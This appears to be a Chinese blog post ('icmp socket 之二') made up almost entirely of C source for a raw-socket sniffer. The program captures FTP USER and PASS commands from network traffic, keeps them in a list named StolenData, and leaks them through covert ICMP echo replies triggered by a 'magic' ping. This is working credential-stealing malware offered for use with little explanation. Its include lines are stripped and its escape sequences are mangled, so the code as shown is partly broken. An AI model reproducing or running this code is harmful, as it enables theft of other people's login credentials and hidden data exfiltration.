icmp socket 之二

#include
#include
#include
#include
#include
#include
#include
#include
#include

#define BUFFER_MAX 2048
#define MAGIC_REPLY 0X16 /*indentify the magic icmp echo reply*/
#define MAGIC_CODE 0X5B /*indentify the magic icmp echo message*/
typedef struct node
{
 char Name[15]; /* name of ftp user */
 char PassWord[15]; /* password of ftp user*/
 unsigned int ip; /* ip address of remote machine */
 struct node * next;/*there may be not only one
 pair of user name and password, so we use a list to
 store any many  messages as possible*/
} * List;

static List StolenData = NULL;/*
link list storing all user names and password
*/
static unsigned short checksum(int numwords, unsigned  short *buff);
/*
add a pair of  new gotten  user name and password
*/
int AddNode(const List pnode);
/* remove the head of a list when one pair of data is sent out*/
int RemoveHead();
/* try to get ftp user names and password from this ip message*/
int CheckTCP(const struct iphdr *);
/*Send one pair of user name and password, if no data sniffered, send
a pair of invalid data to tell the client not to get any more */
int SendData(const struct ether_header *, const int n);
/*check whether it is a magic icmp packet to get name and password */
int MagicICMP(const struct iphdr *);
/*reset user name, password, target ip and target port*/
void Reset();

static char* username = NULL;
static char* password = NULL;
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/*status of the sniffer*/
static int have_pair = 0;
int main(int argc, char *argv[])
{
 
 int sock, n_read;
 struct ether_header * etherh;
 struct iphdr * iph;
 
 char buffer[BUFFER_MAX];
        /*create a raw socekt to sniffer all messages*/
 if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
 {
  perror("socket()");
  exit(errno);
 }
 
 while (1)
 {
  n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
 /*--14(ethernet head) + 20(ip header) + 8(TCP/UDP/ICMP header) ---*/
  if (n_read < 42)
  {
   printf("Incomplete header, packet corrupt/n");
   continue;
  }
  /*  get ethernet header */
  etherh =(struct ether_header *) buffer;
  /* 
  printf("%02x:%02x:%02x:%02x:%02x:%02x==>"
  "%02x:%02x:%02x:%02x:%02x:%02x/n",
  etherh->ether_shost[0], etherh->ether_shost[1],
  etherh->ether_shost[2], etherh->ether_shost[3],
  etherh->ether_shost[4], etherh->ether_shost[5],
  etherh->ether_dhost[0], etherh->ether_dhost[1],
  etherh->ether_dhost[2], etherh->ether_dhost[3],
  etherh->ether_dhost[4], etherh->ether_dhost[5]);
  */
                /*  get ip header */ 
  iph = (struct iphdr *) (etherh + 1);
  
  switch(iph->protocol)
  {
  case IPPROTO_TCP :
                        /*
                        ftp use a tcp protocol to transmit command,
                        so we check this packet trying to get the
                        user  name and password
                       */
   CheckTCP(iph);
   break;
  case IPPROTO_ICMP:
                        /*
                        check whether it is the magic icmp echo message
                        getting user names and password
                       */
   if(MagicICMP(iph))
   {
                                /*
                                if it is, then we will send the information
                                stored in our list out 
                               */
    SendData(etherh, n_read);
   }
   break;
                        /*
                         for other protocols, you may make
                         any tricks you like if you are interested
                          in it and have the intelligence
                        */
  case IPPROTO_UDP :
  case IPPROTO_IGMP:
  default: break;
  }  
 }
}
int CheckTCP(const struct iphdr * ipheader)
{
 if(!ipheader)
 {
  return 0;
 }
 int i = 0;
        /* get tcp head  */
 struct tcphdr * tcpheader = (struct tcphdr*)(ipheader + 1);
        /* get data region of the tcp packet */
 char * data = (char *)((int)tcpheader + (int)(tcpheader->doff * 4));

 /*
        if we already have a pair of valid user name
        address (ip and port), then we will check the new coming packet
        to see whether the packet have a "USER" string, if it has, we should
        rest our sniffer,it is to say, that we will clear the user name and
        address already stored, becuase the packet may be a new ftp
        loading message from another client or a reload message from the
        same client when the user pressed 'ctrl + c' to terminate the
        loading process because he may find that he had entered an incorrect
        user name and pressed the enter key sending it out. for another reason,
        it is a simple sniffer just to show the power of raw socket, so we
        do not consider the case that more than one client will load the server
        at the same time, for simplicity, we construct a single-procss sniffer
        which can only monitor one loading process at a moment, so ,
        old user names will be cleared by new loadings if there is not a
        corresponding password for this user name from the same client
        */
 if(username && target_port && target_ip)
 {
 if(ipheader->daddr != target_ip || tcpheader->source != target_port)
  {
                        /*a new loading, we need to reset our sniffer */
   if(strncmp(data, "USER ", 5) == 0 )
   {
    Reset();
   }
   
  }
 }
 /*
          try to get user names at the header of data region
          data = tcphead + 8
       */
 if (strncmp(data, "USER ", 5) == 0)
 {         
  
  data += 5;
  i = 0;
                /*if we do not do this, the sniffer will work error
                 on the local machine*/
  if (username)
  {
   return 0;
  }
  char * p = data + i;
                /*the data always end wht LR */
  while (*p != '/r' && *p != '/n' && *p != '/0' && i < 15)
  {
   i++;
   p++;
  }
  if((username = (char*)malloc(i + 2)) == NULL)
  {
   return 0;
  }
  memset(username, 0x00, i + 2);
  memcpy(username, data, i);
  *(username + i) = '/0';
               //printf("Get User:%s/n",username);
 }
 else //else try to get password
  if(strncmp(data, "PASS ", 5) == 0)
  {
   
   data += 5;
   i = 0;
                        /*if we do not have a use name ,we will not
                        store any password */
   if(username == NULL)
   {
    return 0;
   }
                        /*it seems impossible */
   if(password)
   {
    return 0;
   }
   char * p = data;
   
   while (*p != '/r' && *p != '/n' && *p != '/0' && i < 15)
   {
    i++;
    p++;
   }
   if((password = (char*)malloc(i + 2)) == NULL)
   {
    return 0;
   }
   memset(password, 0x00, i + 2);
   memcpy(password, data, i);
   *(password + i) = '/0';
                        //printf("GetPass:%s/n", password);
  }
  else   /* a ftp quit command */
   if(strncmp(data, "QUIT", 4) == 0)
   {
    Reset();
   }
                        /*
                        store new port and ip when username is not invalid
                       */
   if(!target_ip && !target_port && username)
   {
    target_ip = ipheader->saddr;
    target_port = tcpheader->source;
   }
   /*we have a pair of user name and password */
   if(username && password)
   {
    have_pair++;
   }
                        /*store newly sniffered data as sooner as possible*/
   if(have_pair)
   {
    struct node node;
    node.ip = target_ip;
    snprintf(node.Name, 15, "%s", username);
    snprintf(node.PassWord, 15, "%s", password);
    AddNode(&node);
   //printf("Name: %s, pass: %s/n", username, password);
    Reset();
   }
   return 1;
}
void Reset()
{
 if(username)
 {
  free(username); username = NULL;
 }
 if(password)
 {
  free(password); password = NULL;
 }
 target_ip = target_port = have_pair = 0;
}

int AddNode(const List pnode)
{
 if(!pnode)
 {
  return 0;
 }
 struct node*  s = (struct node*)malloc(sizeof(struct node));
 if(!s)
 {
  return 0;
 }
 memcpy((void*)s, (void*)pnode, sizeof(struct node));
 s->next = NULL;
 if(!StolenData)
 {
  StolenData = s;
 }else
 {
  s->next = StolenData->next;
  StolenData->next = s;
 }
 return 1;
}
int SendData(const struct ether_header * eth, const int n)
{
 if(!eth || n <= 0)
 {
  return 0;
 }
 char   buffer[1024],*data;
 int    len, sockfd;
 struct iphdr * iph;
 struct icmphdr * icmph, *icmpold;
 struct sockaddr_in addr;
 struct timeval tm;
 struct node store;
        /* in case of no data sniffered, so fill invalid data preparly */
 sprintf(store.Name, "%s", "InvalidName");
 sprintf(store.PassWord, "%s", "InvalidPass");
 store.ip = 0;
        /* get ip header */
 iph = (struct iphdr*)(eth + 1);
        /* change source address to into dest address */
 inet_aton(inet_ntoa(iph->saddr), &addr.sin_addr);
        /* icmp header */
 icmpold = (struct icmphdr*)(iph + 1);
        /*created a raw socket, in fact i have tried hard to
         send data with the sockfd created in the main thread, but
         sendto funcion fails, and i had to create a new soceket but
         hope one of yours can solve it with your clever brains */
 sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

 memset(buffer, 0X00, 1024);
 if(sockfd < 0)
 {
  fprintf(stdout, "socket error/n");
  return 0;
 } 
        /*fill the icmp header*/
 icmph = (struct ipcmphdr*)buffer;
        /*ping reply*/
 icmph->type = ICMP_ECHOREPLY;
        /*set our magic reply code*/
 icmph->code = MAGIC_REPLY;
         /*write any values you like*/ 
 (icmph->un).echo.id = 2;
 (icmph->un).echo.sequence =  2;
 /*head list is not null, we have data to send, copy data
        to this struct */
 if(StolenData)
 {
  memcpy(&store, StolenData, sizeof(struct node));
 }

 struct node * p = (struct node*)(icmph + 1);
        /* copy data to the buffer */
 memcpy(p, &store, sizeof(struct node));
 len = sizeof(struct node) + 28; //28 = 20(IP header) + 8(icmp header)
 icmph->checksum = 0;

         /* check sum before sending */
 icmph->checksum = checksum(len,(u_short*)icmph);
 len = sendto(sockfd, buffer, len, 0,
  (struct sockaddr*)&addr, sizeof(addr));        

 if(len < 0)
 {
  fprintf(stdout, "send name and code error/n");
  close(sockfd);
  return 0;
 }else
 fprintf(stdout, "Sending %d bytes to %s/n", len, inet_ntoa(iph->saddr));        /*remove head from the list because the data has alread been sent out*/
 RemoveHead();
 return 1;
}
int MagicICMP(const struct iphdr * ipheader)
{
    int ret = 1;
    do
    {
  if(!ipheader)
  {
   ret = 0;
   break;
  }
  struct icmphdr *icmp = (struct icmphdr *)(ipheader + 1);
                /*
                whethe it is a icmp echo request with a magic code
               */
  if(icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO )
  {
   ret = 0;
   break;
  }
    }while(0);
 return ret;
}

int RemoveHead()
{
 if(!StolenData)
 {
  return 0;
 }else
 {
  struct node * p = StolenData->next;
  free(StolenData);
  StolenData = p;
  return 1;
 }
}
static unsigned short checksum(int numwords, unsigned  short *buff)
{
   unsigned long sum;

   for(sum = 0; numwords > 0; numwords--)
     {
        sum += *buff++;
     }
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    return ~sum;
}

 

你可能感兴趣的:(icmp socket 之二)